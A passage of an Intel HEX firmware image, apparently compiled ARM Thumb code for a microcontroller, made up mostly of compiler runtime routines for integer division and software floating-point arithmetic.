:10A6C0001A501248C2261A50C1228020920000035C :10A6D00098508020400298500D4AB60090590D4C79 :10A6E0000440C020000220439051C0248020640018 :10A6F0008000105110601960297070BD7D2E0020FF :10A7000000900040FC000040040500004C050000E3 :10A7100000E100E0FF00FFFF044B10B51B78002BA9 :10A7200001D1FFF7B3FFFFF761FF10BD7D2E0020C1 :10A73000104B70B51B780400002B01D1FFF7A6FF6A :10A740000D4D0E4E2B78002B02D03368A34210D053 :10A75000FFF74CFF201A0A2803DCFFF747FF0A30F7 :10A76000040001232B70A823054A3460DB00A4B247 :10A77000D45070BD7D2E00207C2E0020BC2D0020EA :10A780000090004010B50400431C07D00EF07CFE82 :10A790000400431C02D102480EF058FC200010BDFA :10A7A0007890030070B5224C2368DBB2012B03D1F3 :10A7B0002048026813070DD08022A3230021D20570 :10A7C000DB00D1501C4B9960013191609A68002ADE :10A7D000FCD070BD1949F0230A68E02615001D4021 :10A7E000324221D1164A12681A420DD1154B164A2F :10A7F0001A608022154B12021A602368DBB2012B0B :10A80000DAD103681B07D7D1F0220B681340402B25 :10A81000D2D10B4B1B681342CED18022C123012120 :10A82000D205DB00D150C7E7302DDBD0ECE7C046C6 :10A83000E00F00F0E40F00F0FC000040E80F00F033 :10A84000EC0F00F004050040DFFF07C0186C00406B :10A85000014B18687047C046C02D002002B47146F5 :10A8600049084900095649008E4402BC7047C04659 :10A8700002B4714649084900095C49008E4402BC93 :10A880007047C04603B47146490840004900095E5C :10A8900049008E4403BC7047002243088B4274D3A6 :10A8A00003098B425FD3030A8B4244D3030B8B42D1 :10A8B00028D3030C8B420DD3FF22090212BA030CDA :10A8C0008B4202D31212090265D0030B8B4219D3BB :10A8D00000E0090AC30B8B4201D3CB03C01A5241DB :10A8E000830B8B4201D38B03C01A5241430B8B4223 :10A8F00001D34B03C01A5241030B8B4201D30B030C :10A90000C01A5241C30A8B4201D3CB02C01A524132 :10A91000830A8B4201D38B02C01A5241430A8B42F5 :10A9200001D34B02C01A5241030A8B4201D30B02DE :10A93000C01A5241CDD2C3098B4201D3CB01C01AF8 :10A94000524183098B4201D38B01C01A5241430902 :10A950008B4201D34B01C01A524103098B4201D3F0 :10A960000B01C01A5241C3088B4201D3CB00C01A5D :10A97000524183088B4201D38B00C01A52414308D5 :10A980008B4201D34B00C01A5241411A00D20146FA :10A99000524110467047FFE701B5002000F0F0F883 :10A9A00002BDC0460029F7D076E7704703460B4347 :10A9B0007FD4002243088B4274D303098B425FD3B8 :10A9C000030A8B4244D3030B8B4228D3030C8B42E4 :10A9D0000DD3FF22090212BA030C8B4202D31212CA :10A9E000090265D0030B8B4219D300E0090AC30B9F :10A9F0008B4201D3CB03C01A5241830B8B4201D34C :10AA00008B03C01A5241430B8B4201D34B03C01A34 :10AA10005241030B8B4201D30B03C01A5241C30AAC :10AA20008B4201D3CB02C01A5241830A8B4201D31D :10AA30008B02C01A5241430A8B4201D34B02C01A07 :10AA40005241030A8B4201D30B02C01A5241CDD2AC :10AA5000C3098B4201D3CB01C01A524183098B42F7 :10AA600001D38B01C01A524143098B4201D34B01E0 :10AA7000C01A524103098B4201D30B01C01A524143 :10AA8000C3088B4201D3CB00C01A524183088B42CA :10AA900001D38B00C01A524143088B4201D34B00B3 :10AAA000C01A5241411A00D2014652411046704725 :10AAB0005DE0CA0F00D04942031000D3404253402A :10AAC00000229C4603098B422DD3030A8B4212D3EA :10AAD000FC22890112BA030A8B420CD3890192111C :10AAE0008B4208D3890192118B4204D389013AD059 :10AAF000921100E08909C3098B4201D3CB01C01A2E :10AB0000524183098B4201D38B01C01A5241430940 :10AB10008B4201D34B01C01A524103098B4201D32E :10AB20000B01C01A5241C3088B4201D3CB00C01A9B :10AB3000524183088B4201D38B00C01A5241D9D2B3 :10AB400043088B4201D34B00C01A5241411A00D234 :10AB50000146634652415B10104601D34042002B30 :10AB600000D54942704763465B1000D3404201B5AF :10AB7000002000F005F802BD0029F8D016E7704764 :10AB80007047C0468446101C62468C46191C6346BA :10AB900000E0C0461FB501F041FF002801D40021AC :10ABA000C8421FBD10B501F089FE4042013010BD02 :10ABB00010B501F033FF002801DB002010BD01209B :10ABC00010BDC04610B501F029FF002801DD0020AE :10ABD00010BD012010BDC04610B501F0AFFE002829 :10ABE00001DC002010BD012010BDC04610B501F0F1 :10ABF000A5FE002801DA002010BD012010BDC046CE :10AC00008446081C6146FFE71FB500F041FC0028A0 :10AC100001D40021C8421FBD10B500F0C5FB404261 :10AC2000013010BD10B500F033FC002801DB00201E :10AC300010BD012010BDC04610B500F029FC002851 :10AC400001DD002010BD012010BDC04610B500F090 :10AC5000D3FB002801DC002010BD012010BDC04640 :10AC600010B500F0C9FB002801DA002010BD01205A :10AC700010BDC046002B11D1002A0FD1002900D1F0 :10AC8000002802D00021C943081C07B4024802A1D1 :10AC90004018029003BDC046E9FEFFFF03B46846BA :10ACA00001B5029800F01EF8019B9E4602B00CBC54 :10ACB0007047C0469E2110B5C905041CFFF7D0FFA0 :10ACC000002803D1201C00F0FDFE10BD9E21201C99 :10ACD000C90500F03DFD00F0F5FE80231B069C46F3 :10ACE0006044F2E7F0B557464E464546DE46E0B5CD :10ACF000040083B00D00924699468B4230D82DD087 :10AD00004946504602F070FE29000600200002F07D :10AD10006BFE331A9846203B9B4633D45A46534623 :10AD2000934042461F00534693401E00AF423AD81C :10AD3000AF4200D17BE05B46A41BBD41002B00DA93 :10AD400078E0002200230092019301235A469340A9 :10AD50000193012342469340009328E08242CFD9D9 :10AD600000220023009201930C9B002B01D01C6059 :10AD70005D600098019903B03CBC90469946A2469C :10AD8000AB46F0BD424620239B1A5246DA4041466C :10AD900013004A468A40170042461F4353469340D9 :10ADA0001E00AF42C4D90022002300920193434603 :10ADB000002BD9D0FB079C46614672080A437B08EA :10ADC00046460EE0AB4201D1A2420CD8A41A9D41E6 :10ADD000012024196D410021013E24184D41002E0F :10ADE00006D0AB42EED9013E24196D41002EF8D1B8 :10ADF000009801995B4600196941002B25DB2B0067 :10AE00005A464446D3402A00E2401C005B461500E7 :10AE1000002B2BDB26005F46BE4033002600474652 :10AE2000BE403200801A9941009001919CE7A342F4 :10AE3000B9D880E74246202300219B1A00220091C6 :10AE400001920122DA40019283E7424620239B1AB5 :10AE50002A0046469A402300F340444613432A0002 :10AE6000E2401C005B461500002BD3DA202342464B :10AE700026009B1ADE402F00B4464646B740664681 :10AE80003B003343CAE7C046F8B54C02640A474664 :10AE9000A0464C00C90FCE468946414643024600B3 :10AEA0005B0A360E240E80B5C50F9C463200D800D2 :10AEB000C900371B4D4560D0002F48DD002C00D164 :10AEC0007CE0FF2E00D183E08023DB0419430123C3 :10AED0001B2F07DC0B002022FB40D71BB9404A1E6A :10AEE00091410B43C31A5A0100D4B2E09B019C0963 :10AEF000200002F05BFD05388440864200DDB1E0B1 :10AF0000861B220020200136F240861BB44023001D :10AF10005C1EA341002613435A0704D00F221A4097 :10AF2000042A00D004335A0100D495E00136F2B26D :10AF3000FF2E00D193E09B015B0A5B02D205580A09 :10AF4000ED07104328430CBC90469946F8BD002FEE :10AF500049D1FE24771C3C4200D087E0002E00D06F :10AF6000DBE0002800D1CEE00029E6D0431A5C01E6 :10AF700000D4EEE00B1A4D46CEE7002F54DD002C36 :10AF80003FD0FF2E24D08023DB04194301231B2F45 :10AF900007DC0B002022FB40D71BB9404A1E914121 :10AFA0000B431B185A0154D50136FF2E57D00122EE :10AFB0006F491A405B080B401343ADE700292CD0C2 :10AFC000013F431A002F00D18DE7FF2E00D07EE70E :10AFD0006346002B43D080236246DB0313435B02AE :10AFE0005B0AFF22A9E7A21B002E61D1002811D025 :10AFF000013A002A00D1B2E0FF2C5ED14D46C44692 :10B00000E6E7002909D0013F4318002FCAD0FF2EE0 :10B01000BCD1DDE74D46C4462600FF2ED8D063469E :10B020005B025B0AF2B288E7002F29D1FE240136C9 :10B0300034426DD1002A55D1002800D193E0002977 :10B0400000D17AE7431800265A0102D5494A013651 :10B0500013405A0700D061E7DB089C46DDE7FF227A :10B0600000236AE7434B361A234055E7441A63012D :10B070005DD4002C00D03BE70025002200235CE7D4 :10B08000A21B002E28D10028C5D0013A002A6CD07E :10B09000FF2CB4D001231B2A07DC03002026D34059 :10B0A000B21A9040421E904103435B18260079E794 :10B0B000FF2CA3D08023DB04184301231B2A07DCC9 :10B0C00003002025D340AA1A9040421E904103431A :10B0D000CB1A4D46260006E7FF2C90D08023DB04D8 :10B0E0001843D7E700288AD0002900D170E78023D1 :10B0F0006246DB031A4200D16AE742461A4200D098 :10B1000066E7C44664E7002926D04D46434614E767 :10B11000FF2EA4D043185B089BE700280AD1002922 :10B1200000D06BE780230025DB03FF2205E70C1A24 :10B130004D46DDE6002900D14AE780236246DB0365 :10B140001A4200D144E742461A4200D040E74D4639 :10B1500055E7002B00D07CE700250023EDE60B1A15 :10B160004D462600BFE64346E7E64318260019E7AA :10B17000FFFFFF7DFFFFFFFBF0B54F464646D6467B :10B1800044024500C0B5640A0F1C2D0EC60F002DE9 :10B190004FD0FF2D55D08023E400DB041C43002357 :10B1A00099469A467F3D7B0278005B0A9846000EDE :10B1B000FF0F002831D0FF2810D08022DB00D204FE :10B1C0001A43904600217F382D1A4B4632000B431C :10B1D00071489B00C3587A40D2B29F46FF3D002B76 :10B1E00054D102234946194332000B007A40033BF5 :10B1F000D2B20C2B04D869499B00CB589F463A0029 :10B20000002000246402C305600AD20718431043DB :10B210001CBC90469946A246F0BD002B2BD10123C1 :10B220004946320019438B005D497A40CB58D2B26F :10B230009F46002C13D104239946033B00259A46D0 :10B24000B1E7002C05D108239946063BFF259A4615 :10B25000A9E70C239946093BFF259A46A3E720005E :10B2600002F0A4FB7625431F9C4000236D422D1A5B :10B2700099469A4697E7180002F098FB4246431F0A :10B280009A402D189046763500219EE703219CE7D1 :10B2900017003A00FF200024B4E780240022E403D2 :10B2A000FF20AFE732005346022BF1D0032B6CD0C6 :10B2B000012BA5D028007F30002846DD630704D08D :10B2C0000F232340042B00D00434230103D528008E :10B2D000344B80301C40FE28DCDCA401640AC0B280 :10B2E00090E78023DB031C4227D042461A4224D138 :10B2F00044461C436402640A3A00FF2082E73A0095 :10B3000044468A46CFE7414663014C01A34235D209 :10B310001B200021013D01271E0049005B00002E7B :10B3200001DB9C4201D81B1B394301380028F3D1B3 :10B330001C00631E9C410C43BCE78023DB031C43C1 :10B340006402640A3200FF205CE70123181A1B28FC :10B3500000DD55E79E352300AC40C340611E8C41A3 :10B360001C43630704D00F232340042B00D0043474 :10B37000630107D4A401640A002043E71B1B1A20C1 :10B380000121C8E7012000243CE78023DB031C43A4 :10B390006402640AFF2035E724F9020064F9020020 :10B3A00098F90200FFFFFFF770B542004E024C0013 :10B3B00045026D0A120EC30F760A240EC90FFF2A2A :10B3C0000FD0FF2C11D00120A24200D070BDB54299 :10B3D000FCD18B420DD0002AF8D12800451EA8418F :10B3E000F4E70120002DF1D1EBE70120002EEDD193 :10B3F000E9E70020EAE7C046F0B5420046024D0208 :10B400004C00C30F760A120E6D0A240EC80FFF2AD5 :10B410001FD0FF2C10D0002A1FD171427141002C87 :10B4200001D1002D1ED000290ED183421ED0022151 :10B43000581E08400138F0BD002D26D1002AF4D155 :10B44000714271410029F0D00028F4D1012040421E :10B45000F1E7002E19D1FF2CEED0002CE5D1002D04 :10B46000E3D1E4E70020002EE5D0E0E7A24205DCCE :10B47000EADBAE4202D8E7D30020DCE7414241419B :10B480004842022108400138D5E702204042D2E775 :10B49000F0B5420046024D024C00C30F760A120E70 :10B4A0006D0A240EC80FFF2A0DD0FF2C0FD0002AE2 :10B4B00023D171427141002C0FD1002D0DD10020FC :10B4C000002E14D00DE0002E10D1FF2C15D1002D30 :10B4D0000CD1002A03D171427141002908D1834265 :10B4E00010D00221581E0840013800E00220F0BDB3 :10B4F0000028FCD101204042F9E7002CEFD1002DBB :10B50000EDD1EEE7A24205DCF2DBAE4202D8EFD38A :10B510000020ECE741424141484202210840013805 :10B52000E5E7C046F0B54F464646D64644024500DC :10B53000C0B58846640A2D0EC70F002D49D0FF2DD7 :10B540004FD08023E400DB041C43002399469A4635 :10B550007F3D434642465E02D20F5B00760A1B0ED9 :10B56000904646D0FF2B12D080220020F600D20455 :10B570007F3B1643ED186A1C434694464A467B407F :10B580000F2A00D974E0704992008A589746FF3517 :10B59000002E54D14A4602231A4391460220EAE77C :10B5A0004346340082465246022A2AD0032A00D15A :10B5B000C3E0012A00D082E0002200246402D20508 :10B5C000600ADB07104318431CBC90469946A2460C :10B5D000F0BD002C27D104239946033B00259A4651 :10B5E000B7E7002C19D108239946063BFF259A4658 :10B5F000AFE7002E08D14A4601231A4391460120A5 :10B60000B9E7FF220024D9E7300002F0CFF9431F49 :10B610002D1A9E40763D0020ADE70C239946093B4C :10B62000FF259A4695E7200002F0C0F97625431FD2 :10B630009C4000236D422D1A99469A4689E74A4656 :10B6400003231A439146032095E73B00ABE7802490 :10B650000023E403FF22B1E78023DB031C4245D033 :10B660001E4243D133435C02640A4346FF22A5E7EE :10B67000200C2404210C0F00320C3604360C7743C6 :10B6800051434643504389193A0C5218964203D904 :10B6900080214902884640443F0411043F0CC919E7 :10B6A0008C01661EB441890E2143140C2418A40198 :10B6B0000C4322013CD50122610814400C43604632 :10B6C0007F3000281ADD620704D00F222240042AAE :10B6D00000D00434220103D560461C4A8030144057 :10B6E000FE288EDCA401640AC2B267E78020C00392 :10B6F00004436402640A3B00FF225FE70122101A40 :10B700001B2800DD58E762469E3221009440C1406C :10B71000621E94410C43620704D00F222240042A87 :10B7200000D00434620105D4A401640A002245E774 :10B73000AC46C4E70122002440E78022D203144330 :10B740006402640AFF2239E7D0F90200FFFFFFF725 :10B75000F8B543025B0ADA00DE4693464A02520A13 :10B76000454690464E4657464446E0B54A00470097 :10B770003F0EE400120EA1469C463E00C50FC90FC5 :10B78000BC1AFF2A00D177E0012082465046414092 :10B790008D4200D180E0002C51DD002A00D073E002 :10B7A0004B46002B00D1DDE0013C002C0FD0FF2FD9 :10B7B00000D1A5E001231B2C09DC20224946121BE5 :10B7C00091404B460A00E340511E8A4113435A46BA :10B7D000D31A5A0100D4C0E09B019C09200002F05A :10B7E000E5F8230005388340864200DDC4E0861B6F :10B7F0001A0020200136F240861BB3405C1EA34194 :10B80000002613435A0704D00F221A40042A00D0FE :10B8100004335A0100D4A3E00136F7B2FF2E00D161 :10B82000A7E09B015B0A5802FF05400AED07384379 :10B8300028433CBC90469946A246AB46F8BD002C36 :10B840004FD1FE247A1C144200D099E05A46002FB2 :10B8500000D000E1002A00D1F1E04A46002AE2D0FF :10B860004B465A46D31A5A0100D402E14B465A4677 :10B870000D009B1A0026C5E74846002800D183E743 :10B880008D4251D0002CDADDFF2F39D080234A467B :10B89000DB041A4391468DE7002C45DD002A3AD09F :10B8A000FF2F2DD080234A46DB041A439146012303 :10B8B0001B2C09DC20224946121B91404B460A00F2 :10B8C000E340511E8A4113435B445A0145D501367A :10B8D000FF2E4ED001226E491A405B080B401343E5 :10B8E00090E7D41B0D00002F6FD15B46002B00D1D9 :10B8F0008FE0013C002C00D1C2E0FF2A6CD1C4468D :10B900006346002B35D080236246DB0313435B0282 :10B910005B0AFF2787E74B46002B23D0013C002C16 :10B9200074D0FF2FC3D1EBE7002C35D1FE227E1C53 :10B93000324200D089E05A46002F6DD1002A00D152 :10B94000A3E04A46002A00D16DE75B464B4400263F :10B950005A0102D54F4A013613405A0700D053E727 :10B96000DB089C46FF2ECBD063465B025B0AF7B236 :10B9700059E7FF27002356E7464A361A134041E7A6 :10B980004B465A46D41A63016FD4002C00D025E7E9 :10B9900000250027002346E7D11B002F2CD0FF2ACB :10B9A000ADD080235846DB041843834601231B296E :10B9B00008DC5B4620245846CB40611A8840411E73 :10B9C000884103434B4416007FE7FF2A97D080232A :10B9D0005946DB0419438B4601231B2C08DC20212C :10B9E0005B465846E3400C1BA040411E8841034380 :10B9F00049461600CB1AECE65B46002B09D001390C :10BA00000029DFD0FF2AD1D1C44679E75B464B44F9 :10BA10005BE7C4461600A5E7002A00D16FE74A4657 :10BA2000002A00D16CE78022D203134200D167E7DD :10BA30004346134200D063E70D00C44660E74B461F :10BA4000002B1AD00D004346EDE6FF2E91D05B4649 :10BA50004B445B0881E7002AE1D14B46002BEBD138 :10BA600080230025DB03FF27DDE64B460D009C1AF3 :10BA7000B4E60026002B00D06FE700250023D2E6B5 :10BA80004B46594616005B1AA3E64346CBE6C04632 :10BA9000FFFFFF7DFFFFFFFB42024B02400049001A :10BAA000520A5B0A090E000EFF2806D00020FF296B :10BAB00002D11800431E98417047FE38002AFBD17E :10BAC000F4E7C04641024200C30F490A120E0020AB :10BAD0007E2A03D99D2A02D9094A981870478020E6 :10BAE00000040143952A07DC9620821AD14048427F :10BAF000002BF3D10800F1E7963A9140F7E7C046F2 :10BB0000FFFFFF7F70B5002812D0C317C5185D4036 :10BB1000C40F280001F04AFF9E22121A962A11DC57 :10BB2000D2B2082833DD083885406802400A02E0B6 :10BB30000024002200204002D205400AE4071043FE :10BB4000204370BD992A0BDD052329001B1AD9401B :10BB500003001B339D402B005D1EAB4119430D00BC :10BB6000052801DD431F9D402B000A490B406E074D :10BB700009D00F263540042D05D004335D0102D5D0 :10BB80009F220B40121A9B01580AD2B2D3E76802D7 :10BB9000400AD0E7FFFFFFFB70B5041E0DD001F097 :10BBA00005FF9E22121A962A0EDCD2B208282EDD3C :10BBB000083884406002400A01E000220020400270 :10BBC000D205400A104370BD992A09DD0300210007 :10BBD0001B3399404B1E994105231B1ADC400C4333 :10BBE000052801DD431F9C4023000A490B406507DF :10BBF00009D00F252C40042C05D004335C0102D55C :10BC00009F220B40121A9B01580AD2B2D7E760025A :10BC1000400AD4E7FFFFFFFBF8B54746CE460E03C8 :10BC20004D00760ACC0F410F31438946190380B588 :10BC3000490A570F5E000F436D0DC000760DDB0FF4 :10BC4000B846D2009C4200D1A3E0AF1B002F00DC1D :10BC500083E0002E00D1C1E0C94B9D4200D188E1B4 :10BC6000802341461B0419438846382F00DD5DE1DF :10BC70001F2F00DD07E2202311004646DB1B9E40FC :10BC8000F9409A400E434146531E9A41F9404B46B3 :10BC90005B1A99463243871AB84280414B4641426B :10BCA000591A0B0200D4D7E049024E0A002E00D1E7 :10BCB0002FE1300001F07AFE0300083B202239001A :10BCC000D21A9E40D1409F400E439D4200DD1CE1B0 :10BCD0005D1B6B1C1F2B00DDAAE12021C91A3D0052 :10BCE00030008F408840DD40791E8F41310028436D :10BCF000D940002507437B0709D00F233B40042B85 :10BD000005D03B1DBB42BF417F42C9191F000B023A :10BD100000D4A4E06A1C9A4B55056D0D9A4200D1DF :10BD2000AAE0984AFF080A40500738438446520266 :10BD3000120B00211203130B0A0D12051A43924B2A :10BD40002D0513402B435B00E4075B08234360464B :10BD500019000CBC90469946F8BD002F4CD18B4E73 :10BD6000691C314200D0E7E046464946164301438C :10BD7000B446002D00D00EE2002900D1CFE1002E04 :10BD800000D010E24B46C0085F070743BC46D90805 :10BD90006DE0AB1B002B00DC9EE0002E3ED078490E :10BDA0008D4200D1E5E080213E0009040E43B046FB :10BDB000382B00DD4BE11F2B00DC81E119004646EA :10BDC0002039CE40202B04D04021CB1A4146994047 :10BDD0000A4317007A1E974137433DE14346134318 :10BDE00000D1BDE07B1E002B00D1B2E164498F423F :10BDF00000D1A7E11F0038E7771B002D00D0EFE04E :10BE00004946014300D177E1791E002900D119E2AA :10BE10005B4CA74200D14BE20F00EAE0390011432E :10BE200000D1A0E1591E002900D158E1544EB3427F :10BE300000D187E10B00BBE7514B9E4200D132E2BB :10BE400082188242804149463500414440420918E7 :10BE5000CF075208174349087B0700D04DE7480732 :10BE6000FF080743BC46C908454B9D4229D00A0339 :10BE70006D05120B6D0D5CE71500002300229C463A :10BE800057E74B465F07D9084346C008134338437A :10BE9000002B00D1F6E180231B03194208D0454650 :10BEA000ED081D4204D143462900D208580710432B :10BEB000CA00430F1A43C0005707C0080743BC46D7 :10BEC000D10863460B4300D112E2802212030A43D9 :10BED0001203120B2A4D2CE7002B59D12B4B6E1C51 :10BEE0001E42A9D14B460343002D00D00DE1002B8B :10BEF00000D1B2E13B00134300D0B5E14B46C0088E :10BF00005F0738438446D908B1E71E49ED1A31402E :10BF1000F1E6380001F04AFD030018331F2B00DC66 :10BF2000CCE63E00083886400027CEE64346134361 :10BF30001A00571EBA41AEE649464646871A8E1B7E :10BF4000B84289414942761A310200D519E13B00D5 :10BF500033439C4600D0A9E600210025002486E753 :10BF60004B46C0085B0718434B468446D9083D0042 :10BF70007AE74B46C0085F070743BC46D908A0E7ED :10BF8000FF070000FFFF7FFFFFFF0F80FE0700009D :10BF9000731B002D00D185E0D8498E4200D173E19A :10BFA00080214D4609040D43A946382B00DD0EE1E2 :10BFB0001F2B00DD84E12021C91A05004F4688406F :10BFC0008F40411E88414946DD40D9402F430743F9 :10BFD0008844BF189742924151424144350040E0A5 :10BFE000C6498E4200D1A5E080214C4609040C438D :10BFF000A146382F00DDBEE01F2F00DDEDE020213F :10C000000500C91B4C4688408C40FD40411E8841BC :10C0100049462C432043F9404446611A8846171A82 :10C02000BA42924141465242891A1C00350038E614 :10C0300030001F3DE840202B03D04021CB1A9E400A :10C0400037437B1E9F4100210743002504E74346F9 :10C0500013431F007A1E97413F1887428041414297 :10C0600049440B0200D4F7E6A44B01359D4200D1B0 :10C0700003E7A34A7B080A4001210F401F43D3076F :10C080001F43510837E63B004646203BDE40202F49 :10C0900004D040234146DB1B99400A43571EBA4156 :10C0A0003243F8E54946014300D1F4E0591E002926 :10C0B00000D115E1914DAB4200D1E5E00B0074E7F2 :10C0C0002021C91A160047468A408F40511E8A41D6 :10C0D0004146DE40D940374317438944BCE78718BF :10C0E000494687429B4141445B42C91801250B02E6 :10C0F00000D4B1E60225BCE74146D2084807024316 :10C100009446C9081C003D00AEE6002B00D0B8E6FE :10C110003B00D2087F071743BC46D908D1E6002E62 :10C1200000D18CE04146D2084F073A439446C908F3 :10C130001C009CE64146D2084F073A439446C90882 :10C140001C00BEE64B46C0085F0738438446D9084A :10C15000B7E6871A4B464246B8428041991A404298 :10C16000091A01259DE54A46C00857073843844609 :10C17000D1081D0078E6494601430800471EB84132 :10C180004DE7171A41464846BA42B641091A764267 :10C190008E1B1C008AE500292ED1002ECAD18021D9 :10C1A0000024090391E649464646871A8E1BB84289 :10C1B00089414942711A0E023CD5171A4146484638 :10C1C000BA429241091A5242891A1C0093E54B4621 :10C1D00003431F00781E8741FBE639004C46203997 :10C1E000CC40202F04D040214D46C91B8D40284310 :10C1F000411E8841204312E74946C0084D072843A5 :10C20000C908002E3ED080252D03294208D046467D :10C21000F7082F4204D11C003900D20870071043E0 :10C22000CA00430F1A43C000C0085707384384466A :10C23000D10846E63B000B439C4600D00CE60021AB :10C24000002414E6171A41464846BA429241091A98 :10C250005242891A1C00012523E53B00D2087F07C2 :10C260001743BC46D90802E68718494687429B41D6 :10C2700041445B42C9180B0200D4EDE5204B012577 :10C280001940E9E584461CE64346D2085F073A4375 :10C290009446D90815E63900D2087F073A439446F8 :10C2A000C9081D00E0E50023350000229C4640E55A :10C2B0004146D2084F071743BC46C9081C0000E698 :10C2C00019004D462039CD40202B04D04021CB1AF7 :10C2D0004946994008430700781E87412F4378E676 :10C2E0008718494697429B4141445B42C918FDE685 :10C2F0000023024D9C461A001BE5C046FF070000C4 :10C30000FFFF7FFFF0B557464E464546DE46E0B597 :10C31000814605000C03480085B092461F00240B9F :10C32000400DCE0F002800D1ADE0864B984200D1E1 :10C33000C8E06B0FE4001C4380231B042343984692 :10C34000814BED009B4600239946834400933C03B8 :10C350007B005046240B5B0DFF0F002B00D177E0D4 :10C36000784A934218D07849420F8C46E40014432F :10C370005946802263441204CB1A14439B46C200E0 :10C38000002033007B409A464B460F2B00D9EDE04E :10C390006E499B00CB589F466D4B52469C462243AC :10C3A000E344002A00D0AEE04946022319438946FF :10C3B00000240220E5E73E00A04615000090009B07 :10C3C000022B00D10BE2032B00D19DE1012B1FD0EA :10C3D000B246604F5F44002F00DCDAE16B0700D00B :10C3E0000EE2ED084346DB0106D542465A4B802754 :10C3F0001A409046FF005F44584B9F4224DC43465E :10C400005B071D4343467F055C02240B7B0D03E065 :10C41000B24600230024002500212403270B0C0D25 :10C4200024053C431F054E4B28001C405346274320 :10C430007F00DB077F081F43390005B03CBC9046F6 :10C440009946A246AB46F0BD3E4B00240025E3E7EB :10C450005246224350D0002C00D18AE1200001F046 :10C46000A5FA02000B3A1D2301009B1A5246083917 :10C47000DA408C40144352468A403A4B58449B461B :10C48000834400207DE74B46234398462CD0002C64 :10C4900000D15EE1200001F089FA02000B3A1D2371 :10C4A0009B1A4A460100DA4008398C4013004D4679 :10C4B000234398468D402C4B1B1A9B4600239946DC :10C4C000009344E74B462343984606D108239946F8 :10C4D000063B00258346009339E70C239946093B28 :10C4E000A0468346009332E70423994600239B46E7 :10C4F0000133002500932AE7494601231943894661 :10C50000002401203DE74A4603231A4391460320B5 :10C51000524636E7002380249A4624030025094B1F :10C520007AE7802341461B03194200D1ECE01C420C :10C5300000D0E9E01C432403240BBA461500014B4C :10C540006AE7C046FF07000001FCFFFF10FA020087 :10C5500001F8FFFFFF030000FFFFFFFEFE070000E2 :10C56000FFFF0F80F30300000DFCFFFF444500D2E6 :10C57000D6E000D1D1E001235B429C462E0040462C :10C580000025E344130E24021C431302994623049E :10C590001B0C210C00930191FEF704FA009A0B0486 :10C5A0004243310C070019438A4207D90919013F58 :10C5B0008C4203D88A4201D9871E0919881A019929 :10C5C000FEF7F0F909048C4631046646009A090C1E :10C5D0004243030031438A4204D90919013B8C428A :10C5E00000D807E13F041F43891A4B464A461E0CF8 :10C5F0001204380C0296160C3200039646433B0494 :10C60000B8463700029E1B0C5A4373437043DB1934 :10C61000160CF618B74203D980235B029C4660448F :10C62000330C12043604120C1818B618814200D2CA :10C6300080E07CD0AE1B091AB54280419B4F40423E :10C64000081A5F44844200D1FDE00199FEF7AAF97F :10C65000009A0B044243310C050019438A4207D962 :10C660000919013D8C4203D88A4201D9851E091956 :10C67000881A0199FEF796F909048C46310466463A :10C68000009A090C4243030031438A4207D9091931 :10C69000013B8C4203D88A4201D9831E0919039EAB :10C6A0002D041D433300891A2A04120C53430093AE :10C6B000029B280C46435A435843009B92191B0C7B :10C6C0009C466244964203D980235B029C466044A8 :10C6D000009B160C1B0412041B0C3018D21881424C :10C6E00006D302D001231D4375E6002A00D172E66D :10C6F00061186B1EA14200D290E0814200D2A8E0F6 :10C7000000D1CFE01D00EDE78024434624031C4305 :10C710002403240BB246664B7EE6AA4200D92AE7E0 :10C720004346DE0758086B081E43ED072AE7B5426B :10C7300000D37FE743464D445A1E4D459B415B4223 :10C740001B19C9188C424FD2884271D86ED09046BE :10C7500070E7484601F02AF903001A00153220302C :10C760001C2A00DC9BE64A46083B9A40002590467E :10C77000A1E601F01BF903001A00153220301C2A33 :10C7800000DC70E65446083B00229C4075E601251B :10C790006D420121C91B382900DD3AE61F2962DC00 :10C7A0002A0043464348CA405844834085401343C7 :10C7B0006A1E954144462B43CC405A0709D00F22AC :10C7C0001A40042A05D01A1D9A429B415B42E41884 :10C7D000130022025FD50123002400251CE6B24687 :10C7E000334B0024002517E68C42B0D1A945ABD9C4 :10C7F00090461FE78A4200D8F4E6831E0919F1E645 :10C800000F232B40042B00D1EBE505235B42AB4209 :10C810009B4104355B42ED089844E3E51D008142ED :10C8200000D05FE7914500D05CE7D4E5AE428ED9F9 :10C8300002234D445B429C464D459B415B421B1984 :10C84000E044C918F6E6002FA1DD01230025984435 :10C85000C8E54B465E004E459B415B421C19023DBC :10C860000919B146DBE71F2243465242D71BFB4062 :10C87000202904D0444610485844844025436A1E69 :10C8800095412B43072500241D4007D00F2200248B :10C890001A40042A97D165076402240BDB081D4364 :10C8A0000023B9E59145D4D31D00BBE7FF03000089 :10C8B000FF0700001E0400003E040000F0B54E46D5 :10C8C0004546DE4657461C03E0B5240B1A4E0F03BF :10C8D0004D00A1465C00DB0F84463F0B6D0DC90F78 :10C8E0009046640D9B46B5421AD0B44210D0012642 :10C8F000A5420ED14F450CD10126C44509D1594559 :10C9000018D0002D05D138430600701E864100E086 :10C91000012630003CBC90469946A246AB46F0BD8D :10C920003B0001260343F4D1AC42F2D14B46134302 :10C93000EFD1E1E70026ECE7FF070000F0B54E4637 :10C9400045465746DE461C03E0B5240B324E0F0326 :10C950004D00A1465C0084463F0B6D0DC90F90460B :10C96000640DDB0FB5422AD0B44219D0002D2BD173 :10C970003843834646424641002C02D14846024392 :10C9800028D0002E16D1994229D0022301390B401C :10C99000013B18003CBC90469946A246AB46F0BD10 :10C9A0004E4632432FD1002DEDD138434642464109 :10C9B000002EE8D0002BECD101235B42E9E73E00DA :10C9C000064320D1AC42EBD0002CDCD148460243D8 :10C9D000D9D1DAE75A460023002ADAD0D5E7A542B2 :10C9E0000ADCE7DB4F45D0D810D000234F45D0D22A :10C9F0000029E1D00B00CCE75842434158420223C2 :10CA00000340013BC5E702235B42C2E7C445BCD8F3 :10CA10000023C445BDD2EBE7FF070000F0B54E464A :10CA200045465746DE461C03E0B5240B314E0F0346 :10CA30004D00A1465C0084463F0B6D0DC90F90462A :10CA4000640DDB0FB54211D0B44214D0002D30D1AB :10CA50003843834646424641002C14D1484602439F :10CA600011D15A460023002A17D010E03E00064399 :10CA700012D1AC421DD14E4632430DD1002D04D10E :10CA8000384346424641002E0ED1994217D0022328 :10CA900001390B40013B00E0022318003CBC9046EA :10CAA0009946A246AB46F0BD002BF6D101235B426E :10CAB000F3E7002CE9D148460243E6D1E7E7A54277 :10CAC00006DD58424341584202230340013BE4E75C :10CAD000A542E9DB4F45DAD806D000234F45DCD22A 